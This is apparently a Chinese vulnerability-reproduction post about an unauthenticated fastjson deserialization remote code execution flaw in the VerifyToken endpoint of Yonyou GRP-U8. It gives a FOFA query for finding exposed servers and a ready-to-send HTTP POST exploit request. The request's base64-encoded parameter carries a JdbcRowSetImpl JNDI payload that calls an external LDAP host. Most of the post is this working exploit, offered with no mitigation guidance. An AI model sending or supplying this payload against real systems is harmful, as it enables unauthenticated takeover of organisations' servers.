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Published on 2024-08-30 / 1 Visits
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Y16-20用友-GRP-U8-反序列化RCE

Y16-20用友-GRP-U8-反序列化RCE

漏洞描述:

用友 GRP-U8 R10系列版本 VerifyToken 接口存在低版本fastjson反序列化漏洞,未经身份验证的攻击者可利用此漏洞获取服务器权限。

网站图片:

image.webp

fofa语法:

app=“用友-GRP-U8”

漏洞复现:

请求payload需base64编码
payload:

POST /VerifyToken HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

PARAM=eyJuYW1lIjp7IkB0eXBlIjoiamF2YS5sYW5nLkNsYXNzIiwidmFsIjoiY29tLnN1bi5yb3dzZXQuSmRiY1Jvd1NldEltcGwifSwieCI6eyJAdHlwZSI6ImNvbS5zdW4ucm93c2V0LkpkYmNSb3dTZXRJbXBsIiwiZGF0YVNvdXJjZU5hbWUiOiJsZGFwOi8vMjIyMjIubGRiY3d1ZXZiYS5kZ3JoMy5jbiIsImF1dG9Db21taXQiOnRydWV9fQ==

效果图:
效果图

效果图:
效果图


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